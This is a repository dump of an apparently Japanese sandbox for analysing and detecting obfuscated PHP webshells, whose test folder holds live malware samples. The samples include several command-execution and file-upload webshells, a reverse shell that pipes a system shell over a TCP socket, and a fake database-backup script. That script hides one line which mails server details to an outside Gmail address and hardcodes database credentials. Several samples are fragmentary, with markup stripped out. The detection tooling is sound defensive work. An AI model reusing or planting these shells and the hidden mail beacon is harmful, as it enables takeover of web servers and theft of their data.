 35 | ));
 36 | 
 37 | if(! exists $opts{filename}){
 38 |    #filenameオプションが渡っていないならusageを表示して終了
 39 |    usage();
 40 | }
 41 | 
 42 | if(! exists $opts{mode}){
 43 |    #modeオプションが渡っていないならdetectに設定する
 44 |    $opts{mode} = 'detect-webshell';
 45 | }
 46 | 
 47 | # オプションから必要な変数を作成する。
 48 | my $target_file = $opts{filename};
 49 | my $abs_filename = File::Spec->rel2abs("$opts{filename}");
 50 | my $target_md5  = get_md5($target_file);
 51 | my $sandbox_uri;
 52 | 
 53 | # ブラウザの作成
 54 | my $ua = LWP::UserAgent->new;
 55 | $ua->timeout($YAML->{CLIENT_UA_TIMEOUT});
 56 | 
 57 | # HTTP_ENGINEとSSL状況によりsandbox_uriを切り替える
 58 | if($YAML->{SANDBOX_HTTPD_ENGINE} eq 'APACHE'){
 59 |    if($YAML->{USE_SSL}){
 60 |       $sandbox_uri = "https://".$YAML->{SANDBOX_HOST}.":".$YAML->{SANDBOX_PORT}."/sandbox/";
 61 |       $ua->ssl_opts( verify_hostname => 0 );
 62 |    }else{
 63 |       $sandbox_uri = "http://".$YAML->{SANDBOX_HOST}.":".$YAML->{SANDBOX_PORT}."/sandbox/";
 64 |    }
 65 | }else{
 66 |    if($YAML->{USE_SSL}){
 67 |       $sandbox_uri = "https://".$YAML->{SANDBOX_HOST}.":".$YAML->{SANDBOX_PORT};
 68 |       $ua->ssl_opts( verify_hostname => 0 );
 69 |    }else{
 70 |       $sandbox_uri = "http://".$YAML->{SANDBOX_HOST}.":".$YAML->{SANDBOX_PORT};
 71 |    }
 72 | }
 73 | 
 74 | # POSTリクエストを作成する
 75 | my $request = POST(
 76 |    $sandbox_uri,
 77 |    Content_Type => 'form-data',
 78 |    Content => {
 79 |       md5  => get_md5($target_file),
 80 |       mode => "$opts{mode}",
 81 |       data => [ $target_file ],
 82 |    },
 83 | );
 84 | 
 85 | # POSTリクエストを作成し、レスポンスを得る。
 86 | my $response = $ua->request( $request );
 87 | 
 88 | # ERROR処理
 89 | unless($response->is_success){
 90 |    my $code = $response->code;
 91 |    critical "$abs_filename: [$code] ".$response->content;
 92 | }
 93 | 
 94 | # 以降はSANDBOXから正常なレスポンスを受け取ったとみなす。
 95 | my $result = decode_json($response->content);
 96 | 
 97 | # [viewfunc]は呼ばれた関数の一覧とその回数を出力する
 98 | if($result->{mode} eq 'viewfunc'){
 99 |    print "TARGET FILE [ $abs_filename ]\n";
100 |    foreach my $key (sort {$b cmp $a} keys %{$result->{body}}){
101 |       print "$key".'('.$result->{body}->{$key}.')'."\n";
102 |    }
103 | }
104 | 
105 | # [tracelog]はxdebugにより取得されたtracelogをそのまま返す 
106 | if($result->{mode} eq 'tracelog'){
107 |    print "TARGET FILE [ $abs_filename ]\n";
108 |    print $result->{body};
109 | }
110 | 
111 | # [detect-obfuscate]は難読化されたファイルか否かを判定し、結果を返す
112 | if($result->{mode} eq 'detect-obfuscate'){
113 |    print "TARGET FILE [ $abs_filename ] $result->{body}\n";
114 | }
115 | 
116 | # [deobfuscate]は再評価処理に渡された引数を全て返す
117 | if($result->{mode} eq 'deobfuscate'){
118 |    my @deobfuscate = @{$result->{body}};
119 |    my $i=0;
120 |    foreach my $deobfuscate (@deobfuscate){
121 |       next unless defined $deobfuscate;
122 |       printf("/*** [OPWD STEP %0d]***/\n", $i);
123 |       print $deobfuscate . "\n";
124 |       $i++;
125 |    }
126 | }
127 | 
128 | # [detect-webshell]は難読化されたwebshellか否かを判定し、結果を返す。
129 | if($result->{mode} eq 'detect-webshell'){
130 |    print "TARGET FILE [ $abs_filename ] $result->{body}\n";
131 | }
132 | 
133 | exit;
134 | 


--------------------------------------------------------------------------------
/t/malware/58.php:
--------------------------------------------------------------------------------
  1 | 
  6 | 
  7 | 
  8 | 
  9 |  Matamu Mat 
 10 | 
 11 | 
 12 | 


 13 | 
 14 | 
 56 | 
 57 | 

 58 | 
Current working directory: 
 59 | Root/';
 64 | 
 65 | if (!empty($work_dir_splitted[0])) {
 66 |   $path = '';
 67 |   for ($i = 0; $i < count($work_dir_splitted); $i++) {
 68 |     $path .= '/' . $work_dir_splitted[$i];
 69 |     printf('%s/',
 70 |            $PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
 71 |   }
 72 | }
 73 | 
 74 | ?>

 75 | 
Choose new working directory:
 76 | 

115 | 
116 | 
Command: 
117 | 

118 | 
119 | 
Enable stderr-trapping? 

120 | 
137 | 

138 | 
139 | 
142 | 
143 | 

144 | 
145 | 
146 | 
147 | 


--------------------------------------------------------------------------------
/t/malware/117.php:
--------------------------------------------------------------------------------
  1 | -:[GreenwooD]:- WinX Shell
  2 | 
  3 | ";
 32 | print    "";
 33 | print      "You:" ;
 34 | print      " ".$_SERVER['REMOTE_ADDR']." [".$host."] " ;
 35 | print    "";
 36 | print    "";
 37 | print      "Version OS:" ;
 38 | print      " $veros ";
 39 | print    "";
 40 | print    "";
 41 | print     "Server:";
 42 | print      "".$_SERVER['SERVER_SIGNATURE']."";
 43 | print    "";
 44 | print    "";
 45 | print     "Win Dir:";
 46 | print      " $windir ";
 47 | print    "";
 48 | print  "";
 49 | print  "
";
 50 | 
 51 | //------- [netstat -an] and [ipconfig] and [tasklist] ------------
 52 | print "
";
 53 | print "";
 54 | print "   ";
 55 | print "";
 56 | print "   ";
 57 | print "";
 58 | print "
";
 59 | //-------------------------------
 60 | 
 61 | 
 62 | //-------------------------------
 63 | 
 64 | print "";
 67 | print "
";
 68 | 
 69 | //-------------------------------
 70 | 
 71 | print "
";
 72 | print "CMD: ";
 73 | print "
";
 74 | print "";
 75 | print " ";
 76 | print "
";
 77 | 
 78 | //-------------------------------
 79 | 
 80 | print "
";
 81 | print "Upload:";
 82 | print "
";
 83 | print "";
 84 | print "File: ";
 85 | print " Filename on server:  ";
 86 | print" ";
 87 | print"
";
 88 | 
 89 | ?>
 90 | 
 91 | 
 92 | 
100 | 
101 | 
102 | 
Created by -:[GreenwooD]:- 

103 | 


--------------------------------------------------------------------------------
/t/malware/103.php:
--------------------------------------------------------------------------------
  1 |  array('pipe', 'w'),
 65 |                            2 => array('pipe', 'w')),
 66 |                      $io);
 67 | 
 68 | 
 69 |       while (!feof($io[1])) {
 70 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
 71 |                                                 ENT_COMPAT, 'UTF-8');
 72 |       }
 73 | 
 74 |       while (!feof($io[2])) {
 75 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
 76 |                                                 ENT_COMPAT, 'UTF-8');
 77 |       }
 78 |       
 79 |       fclose($io[1]);
 80 |       fclose($io[2]);
 81 |       proc_close($p);
 82 |     }
 83 |   }
 84 | 
 85 | 
 86 |   if (empty($_SESSION['history'])) {
 87 |     $js_command_hist = '""';
 88 |   } else {
 89 |     $escaped = array_map('addslashes', $_SESSION['history']);
 90 |     $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
 91 |   }
 92 | 
 93 | 
 94 | header('Content-Type: text/html; charset=UTF-8');
 95 | 
 96 | echo '' . "\n";
 97 | ?>
 98 | 
 99 | 
100 |   SimShell - Simorgh Security MGZ
101 |   
102 | 
103 |   
132 | 
133 | 
134 | 
135 | 
136 | 
137 | 
138 | 
139 | 
140 | 
141 | 
142 | 
143 | 
144 | 
145 | 
146 | 
147 | 
148 | 
149 | 
150 | 
151 | 
 Directory:  
152 | 

153 | 
154 | 

155 | 

156 | 
163 | 

164 |   cmd:
166 |    Rows: 
167 |   
168 | 

169 | 

170 |   

171 |   

172 |  Copyright 2004-Simorgh Security

173 |   Make On PhpShell Kernel

174 |   
175 |   www.simorgh-ev.com

176 | 

177 | 

178 | 
179 | 
180 | 


--------------------------------------------------------------------------------
/t/malware/104.php:
--------------------------------------------------------------------------------
  1 |  array('pipe', 'w'),
 65 |                            2 => array('pipe', 'w')),
 66 |                      $io);
 67 | 
 68 | 
 69 |       while (!feof($io[1])) {
 70 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
 71 |                                                 ENT_COMPAT, 'UTF-8');
 72 |       }
 73 | 
 74 |       while (!feof($io[2])) {
 75 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
 76 |                                                 ENT_COMPAT, 'UTF-8');
 77 |       }
 78 |       
 79 |       fclose($io[1]);
 80 |       fclose($io[2]);
 81 |       proc_close($p);
 82 |     }
 83 |   }
 84 | 
 85 | 
 86 |   if (empty($_SESSION['history'])) {
 87 |     $js_command_hist = '""';
 88 |   } else {
 89 |     $escaped = array_map('addslashes', $_SESSION['history']);
 90 |     $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
 91 |   }
 92 | 
 93 | 
 94 | header('Content-Type: text/html; charset=UTF-8');
 95 | 
 96 | echo '' . "\n";
 97 | ?>
 98 | 
 99 | 
100 |   SimShell - Simorgh Security MGZ
101 |   
102 | 
103 |   
132 | 
133 | 
134 | 
135 | 
136 | 
137 | 
138 | 
139 | 
140 | 
141 | 
142 | 
143 | 
144 | 
145 | 
146 | 
147 | 
148 | 
149 | 
150 | 
151 | 
 Directory:  
152 | 

153 | 
154 | 

155 | 

156 | 
163 | 

164 |   cmd:
166 |    Rows: 
167 |   
168 | 

169 | 

170 |   

171 |   

172 |  Copyright 2004-Simorgh Security

173 |   Make On PhpShell Kernel

174 |   
175 |   www.simorgh-ev.com

176 | 

177 | 

178 | 
179 | 
180 | 
181 | 


--------------------------------------------------------------------------------
/server/run.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/perl
  2 | use strict;
  3 | use warnings;
  4 | use Data::Dumper;
  5 | use YAML;
  6 | use Text::Template;
  7 | use File::Basename qw/basename/;
  8 | use File::Path 'mkpath';
  9 | use File::Spec::Functions;
 10 | use Cwd 'getcwd';
 11 | use FindBin qw($Bin);
 12 | use lib "$Bin/../lib";
 13 | use K0U5UK3::Error qw($DEBUG $WARNING debug warning critical);
 14 | use K0U5UK3::Util qw(init_dir);
 15 | 
 16 | our $YAML = YAML::LoadFile("$Bin/../settings.yaml");
 17 | 
 18 | #-----------#
 19 | # SUB ROUTN #
 20 | #-----------#
 21 | sub msg($){
 22 |    my $msg = shift;
 23 |    print "[*] $msg\n";
 24 | }
 25 | 
 26 | sub generate_from_template($$){
 27 |    my $tmpl_file = shift;
 28 |    my $data = shift;
 29 | 
 30 |    my $template = Text::Template->new(SOURCE => "$tmpl_file");
 31 |    my $text = $template->fill_in(HASH => $data) or die "Faild fill in $tmpl_file\n";
 32 |    my $gen_file = basename $tmpl_file;
 33 | 
 34 |    my $write_file = catfile($YAML->{SETTING_DIR}, $gen_file);
 35 | 
 36 |    open my $fh, '>', $write_file or die "Faild write $write_file : $!\n";
 37 |    print $fh $text;
 38 |    close($fh);
 39 | 
 40 |    msg("$tmpl_file template file to $write_file");
 41 |    return $write_file;
 42 | }
 43 | 
 44 | #-------------#
 45 | # MAIN ROUTIN #
 46 | #-------------#
 47 | sub main(){
 48 |    # 解析対象PHPスクリプトを配置するディレクトリを作成する
 49 |    init_dir($YAML->{WEBROOT_DIR});
 50 |    # TRACELOG出力先ディレクトリを作成する
 51 |    init_dir($YAML->{TRACELOG_DIR});
 52 |    # 設定ファイル格納ディレクトリを作成する
 53 |    init_dir($YAML->{SETTING_DIR}); 
 54 |    # ログ格納ディレクトリを作成する
 55 |    init_dir($YAML->{LOG_DIR});
 56 | 
 57 |    my $sandbox_httpd_logfile = catfile($YAML->{LOG_DIR}, $YAML->{SANDBOX_HTTPD_LOGFILE});
 58 |    my $buitin_php_server_logfile = catfile($YAML->{LOG_DIR}, $YAML->{PHP_BUILTIN_SERVER_LOGFILE});
 59 | 
 60 |    # Templateからphp実行前処理と実行後処理を作成
 61 |    my $prepend_php = generate_from_template("./template/prepend.php", {TRACELOG_DIR => "$YAML->{TRACELOG_DIR}"});
 62 |    my $append_php = generate_from_template("./template/append.php", {});
 63 | 
 64 |    # Templateからphp.iniを作成
 65 |    my $custom_php = generate_from_template("./template/custom-php.ini", {PREPEND_PHP => "$prepend_php", APPEND_PHP => "$append_php"});
 66 | 
 67 |    # Templateからiptables.ruleを作成
 68 |    my $iptables_rule = generate_from_template("./template/iptables.rule", { SANDBOX_HTTPD_PORT  => "$YAML->{SANDBOX_HTTPD_PORT}" });
 69 | 
 70 |    # iptables設定の指示
 71 |    msg("以下のコマンドでSANDBOX_HTTPDとSSH以外の通信を遮断します。");
 72 |    msg("sudo iptables-restore $iptables_rule");
 73 |    msg("iptables設定をデフォルトに戻すには以下のコマンドを入力してください");
 74 |    msg("sudo /sbin/iptables -X");
 75 |    msg("sudo /sbin/iptables -P INPUT ACCEPT");
 76 |    msg("sudo /sbin/iptables -P OUTPUT ACCEPT");
 77 |    msg("sudo /sbin/iptables -P FORWARD ACCEPT");
 78 |    msg("sudo /sbin/iptables -F");
 79 | 
 80 |    if($YAML->{USE_SSL}){
 81 |       msg("HTTPSを使用するために秘密鍵、公開鍵、証明書を作成します。");
 82 |       system("openssl genrsa 2048 > server.key");
 83 |       system("openssl req -new -key server.key -out server.csr -subj '/C=JP/ST=Tokyo/L=Tokyo/O=Example Ltd./OU=Web/CN=example.com'");
 84 |       system("openssl x509 -in server.csr -days 365 -req -signkey server.key > server.crt");
 85 |       system("/bin/mv server.key server.csr server.crt $YAML->{SETTING_DIR}");
 86 |    } 
 87 | 
 88 |    if($YAML->{SANDBOX_HTTPD_ENGINE} eq 'APACHE'){
 89 |       # Apacheの設定ディレクトリを作成する
 90 |       init_dir($YAML->{APACHE_DIR});
 91 |       my $apache_conf = generate_from_template("./template/apache2.conf", {
 92 |          APACHE_DIR => $YAML->{APACHE_DIR},
 93 |          APACHE_USER => scalar getpwuid($>),
 94 |          APACHE_GROUP => scalar getgrgid($)),
 95 |          APACHE_ERR_LOGFILE => catfile($YAML->{LOG_DIR}, $YAML->{SANDBOX_HTTPD_ERRFILE}),
 96 |          APACHE_PORT => $YAML->{SANDBOX_HTTPD_PORT},
 97 |          APACHE_DOCUMENT_ROOT => $YAML->{WEBROOT_DIR},
 98 |          APACHE_ACCESS_LOGFILE => catfile($YAML->{LOG_DIR}, $YAML->{SANDBOX_HTTPD_LOGFILE}),
 99 |          SANDBOX_PSGI => catfile(getcwd(), "sandbox.psgi"),
100 |          PHP_INI_FILE => $custom_php,
101 |       });
102 | 
103 |       system("cp $apache_conf $YAML->{APACHE_DIR}"); 
104 | 
105 |       # 必要な設定ファイルをコピーする 
106 |       system("cp -r /etc/apache2/mods-available $YAML->{APACHE_DIR}");
107 |       system("cp -r /etc/apache2/mods-enabled $YAML->{APACHE_DIR}");
108 |       # Apacheを稼働させる
109 |       system("/usr/sbin/apache2 -d $YAML->{APACHE_DIR} -f apache2.conf");
110 |    }elsif($YAML->{SANDBOX_HTTPD_ENGINE} eq 'PLACK'){
111 |       # HTTPD_ENGINEにPLACKを使用する
112 |       if($YAML->{USE_SSL}){
113 |          # PLACKをHTTPSプロトコルで立ち上げる
114 |          system("/usr/bin/plackup -s HTTP::Server::PSGI --ssl-key-file $YAML->{SETTING_DIR}/server.key " . 
115 |                "--ssl-cert-file $YAML->{SETTING_DIR}/server.crt --ssl 1 sandbox.psgi " . 
116 |                "--host $YAML->{SANDBOX_HTTPD_HOST} --port $YAML->{SANDBOX_HTTPD_PORT} >> $sandbox_httpd_logfile 2>&1 &"); 
117 |       }else{
118 |          # PLACKをHTTPプロトコルで立ち上げる
119 |          system("/usr/bin/plackup sandbox.psgi --host $YAML->{SANDBOX_HTTPD_HOST} " . 
120 |                "--port $YAML->{SANDBOX_HTTPD_PORT} >> $sandbox_httpd_logfile 2>&1 &");
121 |       }
122 |    }elsif($YAML->{SANDBOX_HTTPD_ENGINE} eq 'STARMAN'){
123 |       # HTTPD_ENGINEにSTARMANを使用する
124 |       if($YAML->{USE_SSL}){
125 |          # STARMANをHTTPSプロトコルで立ち上げる
126 |          system("/usr/bin/plackup -s Starman -a sandbox.psgi --ssl-key-file $YAML->{SETTING_DIR}/server.key " . 
127 |                "--ssl-cert-file $YAML->{SETTING_DIR}/server.crt --ssl 1 " . 
128 |                "--host $YAML->{SANDBOX_HTTPD_HOST} --port $YAML->{SANDBOX_HTTPD_PORT} >> $sandbox_httpd_logfile 2>&1 &");
129 |       }else{
130 |          # STARMANをHTTPプロトコルで立ち上げる
131 |          system("/usr/bin/plackup -s Starman -a sandbox.psgi " . 
132 |                "--host $YAML->{SANDBOX_HTTPD_HOST} --port $YAML->{SANDBOX_HTTPD_PORT} >> $sandbox_httpd_logfile 2>&1 &");
133 |       }
134 |    }
135 | 
136 |    if($YAML->{SANDBOX_HTTPD_ENGINE} ne 'APACHE'){
137 |       # APACHE以外のHTTPD_ENGINEを使用するならPHP_BUILTIN_SERVERが必要
138 |       system("/usr/bin/php -t $YAML->{WEBROOT_DIR} -S $YAML->{PHP_BUILTIN_SERVER_HOST}:$YAML->{PHP_BUILTIN_SERVER_PORT} " . 
139 |             "-c $custom_php >> $buitin_php_server_logfile 2>&1 &");
140 |    }
141 | }
142 | 
143 | main ();
144 | 
145 | 


--------------------------------------------------------------------------------
/t/malware/29.php:
--------------------------------------------------------------------------------
  1 |  array('pipe', 'w'),
 65 |                            2 => array('pipe', 'w')),
 66 |                      $io);
 67 | 
 68 | 
 69 |       while (!feof($io[1])) {
 70 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
 71 |                                                 ENT_COMPAT, 'UTF-8');
 72 |       }
 73 | 
 74 |       while (!feof($io[2])) {
 75 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
 76 |                                                 ENT_COMPAT, 'UTF-8');
 77 |       }
 78 |       
 79 |       fclose($io[1]);
 80 |       fclose($io[2]);
 81 |       proc_close($p);
 82 |     }
 83 |   }
 84 | 
 85 | 
 86 |   if (empty($_SESSION['history'])) {
 87 |     $js_command_hist = '""';
 88 |   } else {
 89 |     $escaped = array_map('addslashes', $_SESSION['history']);
 90 |     $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
 91 |   }
 92 | 
 93 | 
 94 | header('Content-Type: text/html; charset=UTF-8');
 95 | 
 96 | echo '' . "\n";
 97 | ?>
 98 | 
 99 | 
100 |   Dive Shell - Emperor Hacking Team
101 |   
102 | 
103 |   
132 | 
133 | 
134 | 
135 | 
136 | 
137 | 
138 | 
139 | 
140 | 
141 | 
142 | 
143 | 
144 | 
145 | 
146 | 
147 | 
148 | 
149 | 
150 | 
151 | 
 Directory:  
152 | 
153 | 

154 | 
155 | 

156 | 

157 |   

158 |   Command:
160 |     
161 |   
162 |     

169 | 

170 |   Rows:  
171 |   

172 | 

173 |   Edited By Emperor Hacking Team

174 | 

175 |   iM4n - FarHad - imm02tal - R$P

176 |  

177 | 

178 | 

179 | 
180 | 
181 | 

182 |     
183 |   

184 | 
185 | 
186 | 
187 | 


--------------------------------------------------------------------------------
/t/malware/30.php:
--------------------------------------------------------------------------------
  1 |  array('pipe', 'w'),
 65 |                            2 => array('pipe', 'w')),
 66 |                      $io);
 67 | 
 68 | 
 69 |       while (!feof($io[1])) {
 70 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
 71 |                                                 ENT_COMPAT, 'UTF-8');
 72 |       }
 73 | 
 74 |       while (!feof($io[2])) {
 75 |         $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
 76 |                                                 ENT_COMPAT, 'UTF-8');
 77 |       }
 78 |       
 79 |       fclose($io[1]);
 80 |       fclose($io[2]);
 81 |       proc_close($p);
 82 |     }
 83 |   }
 84 | 
 85 | 
 86 |   if (empty($_SESSION['history'])) {
 87 |     $js_command_hist = '""';
 88 |   } else {
 89 |     $escaped = array_map('addslashes', $_SESSION['history']);
 90 |     $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
 91 |   }
 92 | 
 93 | 
 94 | header('Content-Type: text/html; charset=UTF-8');
 95 | 
 96 | echo '' . "\n";
 97 | ?>
 98 | 
 99 | 
100 |   Dive Shell - Emperor Hacking Team
101 |   
102 | 
103 |   
132 | 
133 | 
134 | 
135 | 
136 | 
137 | 
138 | 
139 | 
140 | 
141 | 
142 | 
143 | 
144 | 
145 | 
146 | 
147 | 
148 | 
149 | 
150 | 
151 | 
 Directory:  
152 | 
153 | 

154 | 
155 | 

156 | 

157 |   

158 |   Command:
160 |     
161 |   
162 |     

169 | 

170 |   Rows:  
171 |   

172 | 

173 |   Edited By Emperor Hacking Team

174 | 

175 |   iM4n - FarHad - imm02tal - R$P

176 |  

177 | 

178 | 

179 | 
180 | 
181 | 

182 |     
183 |   

184 | 
185 | 
186 | 
187 | 
188 | 


--------------------------------------------------------------------------------
/t/malware/80.php:
--------------------------------------------------------------------------------
  1 |  array("pipe", "r"),  // stdin is a pipe that the child will read from
109 |    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
110 |    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
111 | );
112 | 
113 | $process = proc_open($shell, $descriptorspec, $pipes);
114 | 
115 | if (!is_resource($process)) {
116 | 	printit("ERROR: Can't spawn shell");
117 | 	exit(1);
118 | }
119 | 
120 | // Set everything to non-blocking
121 | // Reason: Occsionally reads will block, even though stream_select tells us they won't
122 | stream_set_blocking($pipes[0], 0);
123 | stream_set_blocking($pipes[1], 0);
124 | stream_set_blocking($pipes[2], 0);
125 | stream_set_blocking($sock, 0);
126 | 
127 | printit("Successfully opened reverse shell to $ip:$port");
128 | 
129 | while (1) {
130 | 	// Check for end of TCP connection
131 | 	if (feof($sock)) {
132 | 		printit("ERROR: Shell connection terminated");
133 | 		break;
134 | 	}
135 | 
136 | 	// Check for end of STDOUT
137 | 	if (feof($pipes[1])) {
138 | 		printit("ERROR: Shell process terminated");
139 | 		break;
140 | 	}
141 | 
142 | 	// Wait until a command is end down $sock, or some
143 | 	// command output is available on STDOUT or STDERR
144 | 	$read_a = array($sock, $pipes[1], $pipes[2]);
145 | 	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
146 | 
147 | 	// If we can read from the TCP socket, send
148 | 	// data to process's STDIN
149 | 	if (in_array($sock, $read_a)) {
150 | 		if ($debug) printit("SOCK READ");
151 | 		$input = fread($sock, $chunk_size);
152 | 		if ($debug) printit("SOCK: $input");
153 | 		fwrite($pipes[0], $input);
154 | 	}
155 | 
156 | 	// If we can read from the process's STDOUT
157 | 	// send data down tcp connection
158 | 	if (in_array($pipes[1], $read_a)) {
159 | 		if ($debug) printit("STDOUT READ");
160 | 		$input = fread($pipes[1], $chunk_size);
161 | 		if ($debug) printit("STDOUT: $input");
162 | 		fwrite($sock, $input);
163 | 	}
164 | 
165 | 	// If we can read from the process's STDERR
166 | 	// send data down tcp connection
167 | 	if (in_array($pipes[2], $read_a)) {
168 | 		if ($debug) printit("STDERR READ");
169 | 		$input = fread($pipes[2], $chunk_size);
170 | 		if ($debug) printit("STDERR: $input");
171 | 		fwrite($sock, $input);
172 | 	}
173 | }
174 | 
175 | fclose($sock);
176 | fclose($pipes[0]);
177 | fclose($pipes[1]);
178 | fclose($pipes[2]);
179 | proc_close($process);
180 | 
181 | // Like print, but does nothing if we've daemonised ourself
182 | // (I can't figure out how to redirect STDOUT like a proper daemon)
183 | function printit ($string) {
184 | 	if (!$daemon) {
185 | 		print "$string\n";
186 | 	}
187 | }
188 | 
189 | ?> 
190 | 
191 | 
192 | 
193 | 


--------------------------------------------------------------------------------
/t/malware/43.php:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/t/malware/14.php:
--------------------------------------------------------------------------------
  1 | 
 10 | * @version 0.2
 11 | * @date 18/08/2004
 12 | * @package Backup Server
 13 | * Upgraded Ver 2.0 (sending sql backup as attachment
 14 | * as email attachment, or send to a remote ftp server by
 15 | * @co-authors Cool Surfer and
 16 | * Neagu Mihai
 17 | */
 18 | 
 19 | set_time_limit(0);
 20 | $date = date("mdy-hia");
 21 | $dbserver = "localhost";
 22 | $dbuser = "vhacker_robot";
 23 | $dbpass = "mp2811987";
 24 | $dbname = "tvhacker_vbb3";
 25 | $file = "N-Cool-$date.sql.gz";
 26 | $gzip = TRUE;
 27 | $silent = TRUE;
 28 | 
 29 | function write($contents) {
 30 |     if ($GLOBALS['gzip']) {
 31 |         gzwrite($GLOBALS['fp'], $contents);
 32 |     } else {
 33 |         fwrite($GLOBALS['fp'], $contents);
 34 |     }
 35 | }
 36 | 
 37 | mysql_connect ($dbserver, $dbuser, $dbpass);
 38 | mysql_select_db($dbname);
 39 | 
 40 | if ($gzip) {
 41 |     $fp = gzopen($file, "w");
 42 | } else {
 43 |     $fp = fopen($file, "w");
 44 | }
 45 | 
 46 | $tables = mysql_query ("SHOW TABLES");
 47 | while ($i = mysql_fetch_array($tables)) {
 48 |     $i = $i['Tables_in_'.$dbname];
 49 | 
 50 |     if (!$silent) {
 51 |         echo "Backing up table ".$i."\n";
 52 |     }
 53 | 
 54 |     // Create DB code
 55 |     $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
 56 | 
 57 |     write($create['Create Table'].";\n\n");
 58 | 
 59 |     // DB Table content itself
 60 |     $sql = mysql_query ("SELECT * FROM ".$i);
 61 |     if (mysql_num_rows($sql)) {
 62 |         while ($row = mysql_fetch_row($sql)) {
 63 |             foreach ($row as $j => $k) {
 64 |                 $row[$j] = "'".mysql_escape_string($k)."'";
 65 |             }
 66 | 
 67 |             write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
 68 |         }
 69 |     }
 70 | }
 71 | 
 72 | $gzip ? gzclose($fp) : fclose ($fp);
 73 | 
 74 | // Optional Options You May Optionally Configure
 75 | 
 76 | $use_gzip = "yes";            // Set to No if you don't want the files sent in .gz format
 77 | $remove_sql_file = "no";  // Set this to yes if you want to remove the sql file after gzipping. Yes is recommended.
 78 | $remove_gzip_file = "no"; // Set this to yes if you want to delete the gzip file also. I recommend leaving it to "no"
 79 | 
 80 | // Configure the path that this script resides on your server.
 81 | 
 82 | $savepath = "/home/test/public_html/nt22backup"; // Full path to this directory. Do not use trailing slash!
 83 | 
 84 | $send_email = "yes";                        /* Do you want this database backup sent to your email? Yes/No? If Yes, Fill out the next 2 lines */
 85 | $to      = "lehungtk@gmail.com";    // Who to send the emails to, enter ur correct id.
 86 | $from    = "Neu-Cool@email.com";  // Who should the emails be sent from?, may change it.
 87 | 
 88 | $senddate = date("j F Y");
 89 | 
 90 | $subject = "MySQL Database Backup - $senddate"; // Subject in the email to be sent.
 91 | $message = "Your MySQL database has been backed up and is attached to this email"; // Brief Message.
 92 | 
 93 | $use_ftp = "";                             // Do you want this database backup uploaded to an ftp server? Fill out the next 4 lines
 94 | $ftp_server = "localhost";               // FTP hostname
 95 | $ftp_user_name = "ftp_username"; // FTP username
 96 | $ftp_user_pass = "ftp_password";   // FTP password
 97 | $ftp_path = "/"; // This is the path to upload on your ftp server!
 98 | 
 99 | // Do not Modify below this line! It will void your warranty :-D!
100 | 
101 | $date = date("mdy-hia");
102 | $filename = "$savepath/$dbname-$date.sql";
103 | 
104 | if($use_gzip=="yes"){
105 | $filename2 = $file;
106 | } else {
107 | $filename2 = "$savepath/$dbname-$date.sql";
108 | }
109 | 
110 | 
111 | if($send_email == "yes" ){
112 | $fileatt_type = filetype($filename2);
113 | $fileatt_name = "".$dbname."-".$date."_sql.tar.gz";
114 | 
115 | $headers = "From: $from";
116 | 
117 | // Read the file to be attached ('rb' = read binary)
118 | echo "Openning archive for attaching:".$filename2;
119 | $file = fopen($filename2,'rb');
120 | $data = fread($file,filesize($filename2));
121 | fclose($file);
122 | 
123 | // Generate a boundary string
124 | $semi_rand = md5(time());
125 | $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
126 | 
127 | // Add the headers for a file attachment
128 | $headers .= "\nMIME-Version: 1.0\n" ."Content-Type: multipart/mixed;\n" ." boundary=\"{$mime_boundary}\"";$ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
129 | 
130 | // Add a multipart boundary above the plain message
131 | $message = "This is a multi-part message in MIME format.\n\n"."--{$mime_boundary}\n" ."Content-Type: text/plain; charset=\"iso-8859-1\"\n" ."Content-Transfer-Encoding: 7bit\n\n" .
132 | $message . "\n\n";
133 | 
134 | // Base64 encode the file data
135 | $data = chunk_split(base64_encode($data));
136 | 
137 | // Add file attachment to the message
138 | echo "|{$mime_boundary}|{$fileatt_type}|{$fileatt_name}|{$fileatt_name}|{$mime_boundary}|
";
139 | $message .= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n"."Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
140 | $data . "\n\n" ."--{$mime_boundary}--\n";
141 | //$message.= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n" "Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
142 | // $data . "\n\n" ."--{$mime_boundary}--\n";
143 | 
144 | 
145 | // Send the message
146 | $ok = @mail($to, $subject, $message, $headers);
147 | if ($ok) {
148 |   echo "
Database backup created and sent! File name $filename2 

149 | Idea Conceived By coolsurfer@gmail.com        
